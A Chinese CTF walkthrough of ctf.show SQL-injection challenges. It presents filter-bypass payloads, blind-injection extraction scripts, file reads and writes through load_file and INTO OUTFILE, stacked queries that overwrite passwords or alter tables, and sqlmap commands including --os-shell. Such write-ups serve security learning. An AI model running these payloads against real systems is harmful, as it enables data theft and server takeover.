您好,登錄后才能下訂單哦!
php中常見sql注入類型有哪些,相信很多沒有經驗的人對此束手無策,為此本文總結了問題出現的原因和解決方法,通過這篇文章希望你能解決這個問題。
//拼接sql語句查找指定ID用戶 $sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
直接開始
1'--+
成功會先 id為1的用戶密碼。
1' order by 3--+
1,2,3處都有回顯
-1' union select 1,2,3--+
爆出庫名 ctfshow_web
-1' union select 1,2,database()--+
爆出表名 ctfshow_user
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+
爆出列名 id,username,password
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' and table_schema=database()--+
爆出字段內容
1adminadmin~,2user1111~,3user2222~,4userAUTOpasswordAUTO~,5userAUTOpasswordAUTO~,6userAUTOpasswordAUTO~,7userAUTOpasswordAUTO~,8userAUTOpasswordAUTO~,9userAUTOpasswordAUTO~,10userAUTOpasswordAUTO~,11userAUTOpasswordAUTO~,12userAUTOpasswordAUTO~,13userAUTOpasswordAUTO~,14userAUTOpasswordAUTO~,15userAUTOpasswordAUTO~,16userAUTOpasswordAUTO~,17userAUTOpasswordAUTO~,18userAUTOpasswordAUTO~,19userAUTOpasswordAUTO~,20userAUTOpasswordAUTO~,21userAUTOpasswordAUTO~,22userAUTOpasswordAUTO~,23userAUTOpasswordAUTO~,24userAUTOpasswordAUTO~,26flagflag{90be1d62-6fab-41d6-aa43-c7d5a1c90ab7}~
-1' union select 1,2,group_concat(id,username,password,0x7e) from ctfshow_user--+
還可以直接抓包找到 api,直接爆出
http://96977979-97ee-410a-8c0f-bd0b2883bd95.chall.ctf.show/api/?id=1'or1--+&page=1&limit=10
流程就不來了,
直接
-1' union select 1,group_concat(username,password) from ctfshow_user2--+
查詢語句
//拼接sql語句查找指定ID用戶 $sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;"; 返回邏輯 //檢查結果是否有flag if(!preg_match('/flag/i', json_encode($ret))){ $ret['msg']='查詢成功'; }
過濾了返回字符串不能含有 flag,
那我們就將他十六進制編碼即可。
-1' union select 1,2,hex(group_concat(username,password)) from ctfshow_user3--+
查詢語句
//拼接sql語句查找指定ID用戶
$sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回邏輯//檢查結果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查詢成功';
}
無回顯,只好盲注了,
1' and ascii(substr((select password from ctfshow_user4 where username ='flag'),1,1))=2--+
驗證了成功可以盲注,第一位ascii是102,也就是f
寫個腳本。
# @Author:yanmie import requests url = "http://d273060e-9119-43c3-9737-acf668088663.chall.ctf.show/api/v4.php?id=1' and " headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0" } i=0 j=1 result = "" while True: i = i + 1 payload = "ascii(substr((select password from ctfshow_user4 where username ='flag'),{j},1)) = {i}--+" #print(i,j) payload = payload.format(j=j,i=i) # print(payload) response = requests.get(url = url+payload,headers = headers) if "admin" in response.text: result += chr(i) print(result) i = 0 j = j+1 if i == 128: break print(result)
好家伙,自增腳本結果也是廢了一小段時間才跑出來。
那就再寫一個二分法腳本:
# @Author:yanmie import requests url = "http://d273060e-9119-43c3-9737-acf668088663.chall.ctf.show/api/v4.php?id=1' and " headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0" } i = 0 result = "" while True: head = 0 tail = 127 i += 1 while head<tail: mid = (head+tail)//2 # 除以2取整 payload = "ascii(substr((select password from ctfshow_user4 where username ='flag'),{i},1))>{mid}--+" payload = payload.format(i=i,mid=mid) # print(url+payload) response = requests.get(url=url+payload,headers=headers) # print(response.text) if "admin" in response.text: head = mid+1 else: tail = mid if head == 32: break result += chr(head) print(result) print(result)
結果快多了。
查詢語句
//拼接sql語句查找指定ID用戶
$sql = "select username,password from ctfshow_user5 where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回邏輯//檢查結果是否有flag
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查詢成功';
}
[\x00-\x7f]/i
匹配了基本 ascii 碼值。也就是說基本頁面不會回顯數據庫里的數據。
只會回顯
{"code":0,"msg":"\u67e5\u8be2\u5931\u8d25","count":1,"data":[]}
嘗試間件盲注1' and sleep(5)--+
成功。
if 函數if(a,b,c)
, if判斷,如果為真,返回b,否則返回c
繼續寫腳本
# @Author: yanmie import requests import time url = "http://e1c35db2-f1de-4e77-8ae9-f7739465a81d.chall.ctf.show/api/v5.php?id=1' and " headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0" } i = 0 result = "" while True: i += 1 for j in range(0,127): j += 1 payload = "if((ascii(substr((select password from ctfshow_user5 where username='flag'),{i},1)))={j},sleep(5),0)--+".format(i=i,j=j) start_time = time.time() response = requests.get(url=url+payload,headers=headers) end_time = time.time() print(i,j) if end_time-start_time>5: result += chr(j) break print(result) if '}' in result: break
可是這個腳本耗費時間太長了,42*5 秒 多。
另一種解法:
把 flag 內容寫入 文件
1' union select username,password from ctfshow_user5 where username='flag' into outfile '/var/www/html/1.txt'--+
·查詢語句
//拼接sql語句查找指定ID用戶
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回邏輯//對傳入的參數進行了過濾
function waf($str){
//代碼過于簡單,不宜展示
}
萬能密碼:
1' or 1--+
在表中 flag 直接回顯
還可以大小寫繞過:
-1' UnION sELect 1,2,3--+ -1' UnION sELect id,username,password from ctfshow_user where username='flag'--+
反復測試,過濾了空格。
1'--+
這個不可以 ,1'%23
可以。
過濾空格可以使用/**/
繞過
1'/**/or/**/1%23 1'/**/union/**/select/**/id,username,password/**/from/**/ctfshow_user/**/where/**/username='flag'%23 1'/**/union/**/select/**/id,username,password/**/from`ctfshow_user`where`username`='flag'%23
表名,列名可以用反引號。
過濾了空格和*
可以用tab
代替空格,也就是%09
1'%09union%09select%09id,username,password%09from%09ctfshow_user%09where%09username='flag'%23
一把梭
1'or'1'%23
經測試,過濾了空格、%09
、/**/
可以用%0c
繞過。
1'%0cunion%0cselect%0cid,username,password%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'%23
還可以一把梭
1'or'1'%23
把所有能用的空格都過濾了。
換其他姿勢,直接查 id
-1'or(id=26)and'1
查詢語句
//拼接sql語句查找指定ID用戶
$sql = "select count(pass) from ".$_POST['tableName'].";";
返回邏輯//對傳入的參數進行了過濾
function waf($str){
return preg_match('/ |*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|#|\x23|file|=|or|\x7c|select|and|flag|into/i', $str);
}查詢結果//返回用戶表的記錄總數
$user_count = 0;
需要我們post傳入參數tableName
當傳入tableName=ctfshow_user
時,有變化
$user_count = 22;
說明有 22 行數據。
這里吧等于號過濾了,所以利用正則。
不能有空格,不能有 *
tableName=`ctfshow_user`where(substr(`pass`,1,1)regexp('f'))
成功利用 where 條件匹配到 f
寫個腳本
# @Author: yanmie import requests url = "http://cd6b047c-93a9-41e2-b3e2-ab58d7328aea.chall.ctf.show/select-waf.php" payload = "`ctfshow_user`where(substr(`pass`,{},1)regexp('{}'))" str = "flag{abcdefghijklmnopqrstuvwxyz0123456789-}" i = 0 flag = "" while True: i += 1 for j in str: data = { "tableName":payload.format(i,j) } response = requests.post(url=url,data=data) if "user_count = 1;" in response.text: # print(response.text) # print(j) flag += j break print(flag) if '}' in flag: break
查詢語句
//拼接sql語句查找指定ID用戶
$sql = "select count(*) from ".$_POST['tableName'].";";
返回邏輯//對傳入的參數進行了過濾
function waf($str){
return preg_match('/*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|#|\x23|file|=|or|\x7c|select|and|flag|into|where|\x26|'|"|union|`|sleep|benchmark/i', $str);
}查詢結果//返回用戶表的記錄總數
$user_count = 0;
過濾了where
、雙引號、單引號
使用 right join
RIGHT JOIN 關鍵字從右表(table2)返回所有的行,即使左表(table1)中沒有匹配。如果左表中沒有匹配,則結果為 NULL。on 條件是在生成臨時表時使用的條件,它不管 ON 中的條件是否為真,都會返回左邊表中的記錄;
傳參
tableName=ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,1,1)regexp(chr(102)))
得到
$user_count = 43;
說明可以進行這樣的注入。
寫個腳本:
import requests url = "http://57dc38dc-6d61-491f-8ca1-6c199e3256be.chall.ctf.show/select-waf.php" payload = "ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{},1)regexp(char({})))" i = 5 flag ="flag{" while True: i += 1 for j in range(127): data = { "tableName":payload.format(i,j) } response = requests.post(url=url,data = data) if "user_count = 43;" in response.text: if chr(j) != ".": flag += chr(j) break; print(flag.lower())
查詢語句
//拼接sql語句查找指定ID用戶
$sql = "select count(*) from ".$_POST['tableName'].";";
返回邏輯//對傳入的參數進行了過濾
function waf($str){
return preg_match('/*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|#|\x23|[0-9]|file|=|or|\x7c|select|and|flag|into|where|\x26|'|"|union|`|sleep|benchmark/i', $str);
}查詢結果//返回用戶表的記錄總數
$user_count = 0;
多過濾了數字。
sql語句中 true 即為 1 ,true+true=2
,寫個腳本
# @Author: yanmie import requests url = "http://dfd3af46-a52f-48ad-a9de-077c38c0597a.chall.ctf.show/select-waf.php" payload = "ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{},{})regexp(char({})))" i =5 flag = "flag{" def createNum(n): num = 'true' if num == 1: return 'true' else: for i in range(n-1): num += '+true' return num; while True: i += 1 for j in range(127): data ={ "tableName":payload.format(createNum(i),createNum(1),createNum(j)) } response = requests.post(url=url,data=data) # print(i,j,data) # print(response.text) # if response.text.find("$user_count = 43;") > 0: if "$user_count = 43;" in response.text: if chr(j) != ".": flag += chr(j) break; print(flag.lower()) if chr(j) == '}': break
查詢語句
//拼接sql語句查找指定ID用戶
$sql = "select count(*) from ".$_POST['tableName'].";";
返回邏輯//對傳入的參數進行了過濾
function waf($str){
return preg_match('/*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|%|<|>|^|\x00|#|\x23|[0-9]|file|=|or|\x7c|select|and|flag|into|where|\x26|'|"|union|`|sleep|benchmark/i', $str);
}查詢結果//返回用戶表的記錄總數
$user_count = 0;
直接拿上題的腳本就可以
# @Author: yanmie import requests url = "http://f9cb7903-66ce-445d-874a-b54de32dd8da.chall.ctf.show/select-waf.php" payload = "ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{},{})regexp(char({})))" i =5 flag = "flag{" def createNum(n): num = 'true' if num == 1: return 'true' else: for i in range(n-1): num += '+true' return num; while True: i += 1 for j in range(127): data ={ "tableName":payload.format(createNum(i),createNum(1),createNum(j)) } response = requests.post(url=url,data=data) if "$user_count = 43;" in response.text: if chr(j) != ".": flag += chr(j) break; print(flag.lower()) if chr(j) == '}': break
查詢語句
//拼接sql語句查找指定ID用戶
$sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";
返回邏輯$username = $_POST['username'];
$password = md5($_POST['password'],true);
//只有admin可以獲得flag
if($username!='admin'){
$ret['msg']='用戶名不存在';
die(json_encode($ret));
}
md5()函數有兩個參數,一個是要加密的字符串,另一個是輸出格式,
可選。規定十六進制或二進制輸出格式:
TRUE - 原始 16 字符二進制格式
FALSE - 默認。32 字符十六進制數
但是組成查詢語句的時候這個hex會被轉成字符串,如果轉換之后的字符串包含'or',就會和原查詢語句一起組成.
也就是說將密碼轉換成16進制的hex值以后,再將其轉換成字符串后包含’ ‘or ’ xxx 。
提供一個字符串:ffifdyop
md5后,276f722736c95d99e921722cf9ed621c
再轉成字符串:'or'6<其他字符>
web188~where邏輯條件
查詢語句
//拼接sql語句查找指定ID用戶
$sql = "select pass from ctfshow_user where username = {$username}";
返回邏輯//用戶名檢測
if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|(|)|'|"/i', $username)){
$ret['msg']='用戶名非法';
die(json_encode($ret));
}
//密碼檢測
if(!is_numeric($password)){
$ret['msg']='密碼只能為數字';
die(json_encode($ret));
}
//密碼判斷
if($row['pass']==intval($password)){
$ret['msg']='登陸成功';
array_push($ret['data'], array('flag'=>$flag));
}
這里限制密碼只能為數字,但是這里是弱比較,0==admin
用戶名處也正則限制了很多,但還是有很多姿勢。
select * from users where first_name=0; select * from users where first_name=1<1; select * from users where first_name=1=0;
可以查詢出所有數據,為什么呢?邏輯結構,首先first_name=1
為假也就是0 ,然后0<1
就為真,所以可以查。
這樣也可以,反引號列名
select * from users where first_name=`first_name`;
所以此題payload
0/0 1<1/0 0=0/0
提示:
flag在api/index.php文件中
訪問http://54e509b4-af7d-4ba0-95cd-c84c9a7d0886.chall.ctf.show/api/index.php
有兩種狀態,查詢失敗和密碼錯誤。
利用這兩種狀態來讀取文件判斷flag具體在哪個位置。
MySQL定位函數
INSTR(str,substr)
–> 返回字符串 str 中子字符串的第一個出現位置,否則為0
FIND_IN_SET(str,strlist)
–> 返回字符串 str 中子字符串的第一個出現位置,否則為0
LOCATE(substr,str,pos)
–> 返回字符串 str中子字符串substr的第一個出現位置, 起始位置在pos。如若substr 不在str中,則返回值為0
POSITION(substr IN str)
–> 返回子串 substr 在字符串 str 中第一次出現的位置。如果子串 substr 在 str 中不存在,返回值為 0
構造payload:
username=username=if(locate("flag{",load_file('/var/www/html/api/index.php'))>0,0,1)&password=1
頁面返回
{"code":0,"msg":"\u5bc6\u7801\u9519\u8bef","count":0,"data":[]}
說明文件中確實存在flag.
寫個腳本:
思路:先得到flag
所在位置,然后從此位置開始使用二分法得到每位字符拼接成flag。
# @Author: yanmie import requests url = "http://54e509b4-af7d-4ba0-95cd-c84c9a7d0886.chall.ctf.show/api/index.php" def getFlagPos(): payload = "if(locate('flag{',load_file('/var/www/html/api/index.php'))>%d,0,1)" head = 0 tail = 1000 while head<tail: mid = (head+tail)//2 data = { "username":payload%mid, "password":1, } response = requests.post(url=url,data=data) if "密碼錯誤" == response.json()['msg']: head = mid+1 else: tail = mid return mid def getFlag(num): payload = "if(ascii(substr((load_file('/var/www/html/api/index.php')),{},1))>{},0,1)" flag ="" while True: head = 0 tail = 127 num += 1 while head<tail: mid = (head+tail)//2 data = { "username" : payload.format(num,mid), "password" : 1, } response = requests.post(url=url,data=data) if "密碼錯誤" == response.json()['msg']: head = mid + 1 else: tail = mid flag += chr(head) print(flag) if "}" in flag: break return flag if "__main__" == __name__: pos = getFlagPos() # 得到 flag{ 在文件中的位置 print(pos) flag = getFlag(pos) print("[+] the flag is : ",flag)
查詢語句
//拼接sql語句查找指定ID用戶
$sql = "select pass from ctfshow_user where username = '{$username}'";
返回邏輯//密碼檢測
if(!is_numeric($password)){
$ret['msg']='密碼只能為數字';
die(json_encode($ret));
}
//密碼判斷
if($row['pass']==$password){
$ret['msg']='登陸成功';
}
//TODO:感覺少了個啥,奇怪
如果瞎輸入用戶名,會提示用戶名不存在,
但是如果輸入1'or'1'='1
就會提示密碼錯誤存在布爾注入.
找到api開始
http://8846c979-3fe0-41fd-aef7-6042f6f9bc21.chall.ctf.show/api/
寫個腳本
# Author: yanmie import requests url = "http://8846c979-3fe0-41fd-aef7-6042f6f9bc21.chall.ctf.show/api/" # 查詢當前數據庫 def getDatabase(): payload = "0'or(ascii(substr(database(),{},1))>{})='1" i = 0 database = "" while True: i +=1 head = 0 tail = 127 while head<tail: mid = (head+tail)//2 data = { "username" : payload.format(i,mid), "password" : 0 } response = requests.post(url=url,data=data) if "密碼錯誤" in response.json()['msg']: head = mid + 1 else: tail = mid if head == 0: return database database += chr(head) # 查詢所有表名 def getTable(): payload = "0'or(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{})='1" i = 0 table_name = "" while True: i += 1 head = 0 tail = 127 while head<tail: mid = (head+tail)//2 data = { "username" : payload.format(i,mid), "password" : 0, } response = requests.post(url=url,data=data) if "密碼錯誤" in response.json()['msg']: head = mid + 1 else: tail = mid if head == 0: return table_name table_name += chr(head) # 查詢 ctfshow_fl0g 表中的所有列名 def getColumn(): payload = "0'or(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))>{})='1" i = 0 column_name = "" while True: i += 1 head = 0 tail = 127 while head < tail: mid = (head + tail) // 2 data = { "username": payload.format(i, mid), "password": 0, } response = requests.post(url=url, data=data) if "密碼錯誤" in response.json()['msg']: head = mid + 1 else: tail = mid if head == 0: return column_name column_name += chr(head) # 查詢字段中內容 def get_dump(): payload = "0'or(ascii(substr((select group_concat(f1ag) from ctfshow_fl0g),{},1))>{})='1" i = 0 dump = "" while True: i += 1 head = 0 tail = 127 while head < tail: mid = (head + tail) // 2 data = { "username": payload.format(i, mid), "password": 0, } response = requests.post(url=url, data=data) if "密碼錯誤" in response.json()['msg']: head = mid + 1 else: tail = mid if head == 0: return dump dump += chr(head) if "__main__" == __name__: database = getDatabase() print("[+]the database is: ",database) # 得到 ctfshow_web table_name = getTable() print("[+]the table_names are: ",table_name) # 得到 ctfshow_fl0g,ctfshow_user column_name = getColumn() print("[+]the column_name are: ", column_name) # 得到 id,f1ag dump = get_dump() print("[+]the flag is :",dump)
查詢語句
//拼接sql語句查找指定ID用戶
$sql = "select pass from ctfshow_user where username = '{$username}'";
返回邏輯//密碼檢測
if(!is_numeric($password)){
$ret['msg']='密碼只能為數字';
die(json_encode($ret));
}
//密碼判斷
if($row['pass']==$password){
$ret['msg']='登陸成功';
}
//TODO:感覺少了個啥,奇怪
if(preg_match('/file|into|ascii/i', $username)){
$ret['msg']='用戶名非法';
die(json_encode($ret));
}
過濾了ascii
,所以不能使用上題的方式了。
可以使用ord
代替ascii
。
ord(str) 如果字符串str的最左邊的字符是一個多字節字符返回該字符,用這個公式其組成字節的數值計算的代碼,如果最左邊的字符不是一個多字節字符,ORD()返回相同的值如ASCII()函數。
如select ord('a');
則返回 a 的 ascii 碼值。
那么只需更改一下上官的腳本就可以直接拿到flag了。
# Author: yanmie import requests url = "http://5f86e6f7-cc18-49ae-8d60-b7184fde02d2.chall.ctf.show/api/" # 查詢當前數據庫 def getDatabase(): payload = "0'or(ord(substr(database(),{},1))>{})='1" i = 0 database = "" while True: i +=1 head = 0 tail = 127 while head<tail: mid = (head+tail)//2 data = { "username" : payload.format(i,mid), "password" : 0 } response = requests.post(url=url,data=data) if "密碼錯誤" in response.json()['msg']: head = mid + 1 else: tail = mid if head == 0: return database database += chr(head) # 查詢所有表名 def getTable(): payload = "0'or(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{})='1" i = 0 table_name = "" while True: i += 1 head = 0 tail = 127 while head<tail: mid = (head+tail)//2 data = { "username" : payload.format(i,mid), "password" : 0, } response = requests.post(url=url,data=data) if "密碼錯誤" in response.json()['msg']: head = mid + 1 else: tail = mid if head == 0: return table_name table_name += chr(head) # 查詢 ctfshow_fl0g 表中的所有列名 def getColumn(): payload = "0'or(ord(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))>{})='1" i = 0 column_name = "" while True: i += 1 head = 0 tail = 127 while head < tail: mid = (head + tail) // 2 data = { "username": payload.format(i, mid), "password": 0, } response = requests.post(url=url, data=data) if "密碼錯誤" in response.json()['msg']: head = mid + 1 else: tail = mid if head == 0: return column_name column_name += chr(head) # 查詢字段中內容 def get_dump(): payload = "0'or(ord(substr((select group_concat(f1ag) from ctfshow_fl0g),{},1))>{})='1" i = 0 dump = "" while True: i += 1 head = 0 tail = 127 while head < tail: mid = (head + tail) // 2 data = { "username": payload.format(i, mid), "password": 0, } response = requests.post(url=url, data=data) if "密碼錯誤" in response.json()['msg']: head = mid + 1 else: tail = mid if head == 0: return dump dump += chr(head) if "__main__" == __name__: database = getDatabase() print("[+]the database is: ",database) # 得到 ctfshow_web table_name = getTable() print("[+]the table_names are: ",table_name) # 得到 ctfshow_fl0g,ctfshow_user column_name = getColumn() print("[+]the column_name are: ", column_name) # 得到 id,f1ag dump = get_dump() print("[+]the flag is :",dump)
查詢語句
//拼接sql語句查找指定ID用戶
$sql = "select pass from ctfshow_user where username = '{$username}'";
返回邏輯//密碼檢測
if(!is_numeric($password)){
$ret['msg']='密碼只能為數字';
die(json_encode($ret));
}
//密碼判斷
if($row['pass']==$password){
$ret['msg']='登陸成功';
}
//TODO:感覺少了個啥,奇怪
if(preg_match('/file|into|ascii|ord|hex/i', $username)){
$ret['msg']='用戶名非法';
die(json_encode($ret));
}
又增加過濾了ord
、hex
,根據過濾內容,上關還可以用hex
。
我們可以使用正則匹配regexp
# Author: yanmie import requests url = "http://59005239-92ca-42fd-ac7a-4d41b67b2e55.chall.ctf.show/api/" flag = "{abcdefghijklmnopqrstuvwxyz0123456789-}" # 查詢字段中內容 def get_dump(): payload = "0'or((substr((select group_concat(f1ag) from ctfshow_fl0g),{},1))regexp('{}'))='1" i = 0 dump = "" while True: i += 1 for j in flag: data = { "username": payload.format(i, j), "password": 0, } response = requests.post(url=url, data=data) # +print(i,j,data) if "密碼錯誤" in response.json()['msg']: dump += j print(dump) if "}" in dump: return dump break if "__main__" == __name__: dump = get_dump() print("[+]the flag is :",dump)
if(preg_match('/file|into|ascii|ord|hex|substr/i', $username)){
$ret['msg']='用戶名非法'; die(json_encode($ret));
}
又把substr
過濾了
但是我們可以使用mid
代替。
MID 函數用于從文本字段中提取字符
寫個腳本
(哈哈哈,表名和前面的不一樣了,大半天沒跑出來。。)
# Author: yanmie import requests url = "http://83decdb8-6686-4d24-9a8f-1a51156a0e21.chall.ctf.show/api/" flag = "{abcdefghijklmnopqrstuvwxyz0123456789-}_" # 查詢字段中內容 def get_dump(): # payload = "0'or((mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))regexp('{}'))='1" # 得到 ctfshow_flxg # payload = "0'or((mid((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{},1))regexp('{}'))='1" # 得到 id f1ag payload = "0'or((mid((select group_concat(f1ag) from ctfshow_flxg),{},1))regexp('{}'))='1" i = 0 dump = "" while True: i += 1 for j in flag: data = { "username": payload.format(i, j), "password": 0, } response = requests.post(url=url, data=data) # print(i,j,data) if "密碼錯誤" in response.json()['msg']: dump += j print(dump) if "}" in dump: return dump break if "__main__" == __name__: dump = get_dump() print("[+]the flag is :",dump)
if(preg_match('/file|into|ascii|ord|hex|substr|char|left|right|substring/i', $username)){
$ret['msg']='用戶名非法'; die(json_encode($ret));
}
直接上題的腳本就可以跑出來。
其他方法,利用 mysql定位函數locate
# Author: yanmie import requests url = "[http://ad1cf08f-6278-4479-9deb-48c](http://ad1cf08f-6278-4479-9deb-48c)[3ce9449a9.chall.ctf.show/api/](http://4ce9449a9.chall.ctf.show/api/)" flag = "{abcdefghijklmnopqrstuvwxyz0123456789-}_," # 查詢字段中內容 def get_dump(): # payload = "0'or(if((locate('{}',(select group_concat(table_name) from information_schema.tables where table_schema=database())))=1,1,0))='1" # 得到 ctfshow_flxg,ctfshow_user # payload = "0'or(if((locate('{}',(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg')))=1,1,0))='1" # 得到 id,f1ag payload = "0'or(if((locate('{}',(select f1ag from ctfshow_flxg limit 0,1)))=1,1,0))='1" dump = "" while True: for j in flag: dump += j data = { "username": payload.format(dump), "password": 0, } response = requests.post(url=url, data=data) # print(j,data) if "密碼錯誤" in response.json()['msg']: # dump += j print(dump) if "}" in dump: return dump break else: dump = dump[:-1] if "__main__" == __name__: dump = get_dump() print("[+]the flag is :",dump)
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
$ret['msg']='用戶名非法';
die(json_encode($ret));
}
把常見的查詢語句過濾了,所以來個堆疊update
更新數據操作。
payload:
把所有密碼都更改為 1
0x61646d696e;update`ctfshow_user`set`pass`=1
用十六進制只因為,這里的查詢語句沒有引號包裹
$sql = "select pass from ctfshow_user where username = {$username};";
還可以把用戶名也全部跟改為1,就不用十六進制了
1;update`ctfshow_user`set`username`=1
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
$ret['msg']='用戶名非法';
die(json_encode($ret));
}
if(strlen($username)>16){
$ret['msg']='用戶名不能超過16個字符';
die(json_encode($ret));
}
限制了用戶名長度,十六個長度是不夠更改數據的。
但是偶然試了一下select多查一個數據,結果成功登陸了。但是這里題目明明是過濾的。。。
payload:
username: 1;select(1); pass: 1
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){
$ret['msg']='用戶名非法';
die(json_encode($ret));
}
update
不能使用了。
想插入數據但是過濾了into
現在沒有長度限制,沒有過濾空格,不能select
、update
、insert
那就只能alter
了。
ALTER TABLE 語句用于在已有的表中添加、修改或刪除列。
那我們可以利用alter
修改字段名,把id
和pass
對調。
username: 0;alter table ctfshow_user change column `pass` `a` varchar(255);alter table ctfshow_user change column `id` `pass` varchar(255);alter table ctfshow_user change column `a` `id` varchar(255) pass: 數字自增測試 # 注意用戶名第一次填 payload,之后就只填 0
這里為甚么用戶名使用0,因為數據表里剛開始測試時候,用戶名為0 時,密碼錯誤,說明有這個用戶名。
寫個腳本:
# Author: yanmie import requests url = "http://9c929736-5b1e-4098-a346-b84a2d3e3509.chall.ctf.show/api/" i = 0 while True: i += 1 if i==1: data = { "username" : "0;alter table ctfshow_user change column `pass` `a` varchar(255);alter table ctfshow_user change column `id` `pass` varchar(255);alter table ctfshow_user change column `a` `id` varchar(255)", "password" : 0, } response = requests.post(url=url,data=data) else: data = { "username" : 0, "password" : {i} } response = requests.post(url=url,data=data) if "登陸成功" in response.json()['msg']: print(response.text) break
另一種解法:
username: 0;show tables; pass: ctfshow_user
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop/i', $username)){
$ret['msg']='用戶名非法';
die(json_encode($ret));
}
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(/i', $username)){
$ret['msg']='用戶名非法';
die(json_encode($ret));
}
過濾了(
,所以不能用 alter 了,
但是還能直接
username: 0;show tables password: ctfshow_user
sqlmap最新版下載
使用--user-agent 指定agent
使用--referer 繞過referer檢查
判斷注入點:
python2 sqlmap.py -u "http://0f81bbb3-0eb7-42fe-b6ac-818d9ee151d1.chall.ctf.show/api/?id=1" --referer="ctf.show"
爆數據庫
python2 sqlmap.py -u "http://0f81bbb3-0eb7-42fe-b6ac-818d9ee151d1.chall.ctf.show/api/?id=1" --referer="ctf.show" --dbs --batch
得到
available databases [5]: [*] ctfshow_web [*] information_schema [*] mysql [*] performance_schema [*] test
爆表名:
python2 sqlmap.py -u "http://0f81bbb3-0eb7-42fe-b6ac-818d9ee151d1.chall.ctf.show/api/?id=1" --referer="ctf.show" -D ctfshow_web --tables --batch
得到
Database: ctfshow_web [1 table] +--------------+ | ctfshow_user | +--------------+
爆字段:
python2 sqlmap.py -u "http://0f81bbb3-0eb7-42fe-b6ac-818d9ee151d1.chall.ctf.show/api/?id=1" --referer="ctf.show" -D ctfshow_web -T ctfshow_user --columns --batch
爆內容
python2 sqlmap.py -u "http://0f81bbb3-0eb7-42fe-b6ac-818d9ee151d1.chall.ctf.show/api/?id=1" --referer="ctf.show" -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batch
得到 shell
python2 sqlmap.py -u "http://0f81bbb3-0eb7-42fe-b6ac-818d9ee151d1.chall.ctf.show/api/?id=1" --referer="ctf.show" --os-shell
使用--data 調整sqlmap的請求方式
post方式提交參數
python2 sqlmap.py -u "http://e815b8f2-5a11-4998-8cb9-aa806fb67550.chall.ctf.show/api/" --data="id=1" --referer="ctf.show" --dbs --batch python2 sqlmap.py -u "http://e815b8f2-5a11-4998-8cb9-aa806fb67550.chall.ctf.show/api/" --data="id=1" --referer="ctf.show" -D ctfshow_web -T ctfshow_user --dump --batch
使用--method 調整sqlmap的請求方式
python2 sqlmap.py -u "http://ca0824d5-f358-4494-b5ee-0f0ad93fdf39.chall.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --dbms=mysql -D ctfshow_web -T ctfshow_user --dump --batch
使用--cookie 提交cookie數據
python2 sqlmap.py -u "http://c1338d3e-26fa-49c9-b2aa-583f5fe1418f.chall.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --dbms=mysql dbs=ctfshow_web -T ctfshow_user -C pass --dump --headers="Content-Type: text/plain" --cookie="PHPSESSID=beu7iuepljde5gf9frge7542of;" --batch
api調用需要鑒權
--safe-url 設置在測試目標地址前訪問的安全鏈接
--safe-freq 設置兩次注入測試前訪問安全鏈接的次數
不訪問的話
{"code":0,"msg":"api鑒權失敗","count":1,"data":[[]]}
python2 sqlmap.py -u "http://ae19532d-121c-4048-9902-3f93f0028c30.chall.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --dbms=mysql dbs=ctfshow_web -T ctfshow_flax -C flagx --dump --headers="Content-Type: text/plain" --safe-url="http://ae19532d-121c-4048-9902-3f93f0028c30.chall.ctf.show/api/getToken.php" --safe-freq=1 --batch
sql需要閉合
$sql = "select id,username,pass from ctfshow_user where id = ('".$id."') limit 0,1;";
這里 sql 語句閉合方式變化了,
--prefix=PREFIX
–> 攻擊載荷的前綴
--suffix=SUFFIX
–> 攻擊載荷的后綴
